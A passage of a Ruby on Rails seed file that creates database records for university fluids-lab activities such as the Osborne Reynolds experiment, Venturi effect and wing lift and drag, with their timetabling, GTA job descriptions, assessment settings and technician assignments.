max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a163.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y2vsz6zu\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a163.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a163.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a163.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a163.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a164 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"421\").first_or_create!(name: \"Pumps and Turbines 2\",\n name_abrv: \"PUMPSTURB2\", archived: false, in_drive: true, user_id: 4)\n at164 = ActivityTimetable.where(activity_id: a164.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a164.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pr2vq9\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a164.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a164.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a164.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a164.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a165 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at165 = ActivityTimetable.where(activity_id: a165.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a165.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7lbg5la\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a165.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a165.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a165.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a165.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a167 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at167 = ActivityTimetable.where(activity_id: a167.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a167.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a167.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a167.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a167.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a167.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a168 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at168 = ActivityTimetable.where(activity_id: a168.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a168.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9kvtza6\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a168.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a168.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a168.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a168.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a169 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: false, user_id: 4)\n at169 = ActivityTimetable.where(activity_id: a169.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a169.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y4agrwyb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a169.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a169.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a169.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a169.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a170 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at170 = ActivityTimetable.where(activity_id: a170.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a170.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yctnkhpt\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a170.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a170.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a170.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a170.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a171 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 2)\n at171 = ActivityTimetable.where(activity_id: a171.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a171.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zc256mz\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a171.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a171.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a171.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a171.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a172 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at172 = ActivityTimetable.where(activity_id: a172.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a172.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybcx9rvy\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a172.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a172.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a172.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a172.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a173 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at173 = ActivityTimetable.where(activity_id: a173.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a173.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zhk62pr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a173.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a173.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a173.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a173.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a174 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode4\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at174 = ActivityTimetable.where(activity_id: a174.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a174.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a174.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a174.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a174.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a174.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a175 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"401\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"VENTURI\", archived: false, in_drive: true, user_id: 3)\n at175 = ActivityTimetable.where(activity_id: a175.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a175.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gktozrd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a175.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to aero engineering\",\n job_desc:\"Use a Venturi meter to see the reduction of static pressure be compensated by the increase in dynamic pressure. Stagnation pressure drops slightly due to friction.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a175.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a175.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a175.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a176 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"425\").first_or_create!(name: \"Water hammer self book\",\n name_abrv: \"WATERHAM\", archived: false, in_drive: false, user_id: 1)\n at176 = ActivityTimetable.where(activity_id: a176.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a176.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7gqnls2\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a176.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a176.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a176.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a176.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a177 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: false, user_id: 4)\n at177 = ActivityTimetable.where(activity_id: a177.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a177.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9gnk48b\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a177.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Help students to understand how to operate the wind tunnels to extract lift and drag data from a wing model. Marking in session is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a177.id).first_or_create!(assess_weight: 20.0, notes: \"post lab is part of the CFD assignment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a177.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a177.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a178 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: true, user_id: 4)\n at178 = ActivityTimetable.where(activity_id: a178.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a178.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a178.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a178.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a178.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a178.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a179 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"428\").first_or_create!(name: \"Viscometry\",\n name_abrv: \"VISC\", archived: false, in_drive: true, user_id: 2)\n at179 = ActivityTimetable.where(activity_id: a179.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Could be in analytics\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a179.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a179.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a179.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a179.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a179.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a180 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"600\").first_or_create!(name: \"Weirs Big and Small\",\n name_abrv: \"WEIRS\", archived: false, in_drive: true, user_id: 2)\n at180 = ActivityTimetable.where(activity_id: a180.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 150, takedown_time: 150, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a180.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a180.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a180.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a180.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a180.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a181 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 2)\n at181 = ActivityTimetable.where(activity_id: a181.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a181.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3s5gczj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a181.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a181.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a181.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a181.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a182 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC209\").first.id, code: \"501\").first_or_create!(name: \"Make and Break\",\n name_abrv: \"MAKEBREAK\", archived: false, in_drive: false, user_id: 2)\n at182 = ActivityTimetable.where(activity_id: a182.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a182.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a182.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a182.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a182.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a182.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a183 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: true, user_id: 1)\n at183 = ActivityTimetable.where(activity_id: a183.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a183.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a183.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a183.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: 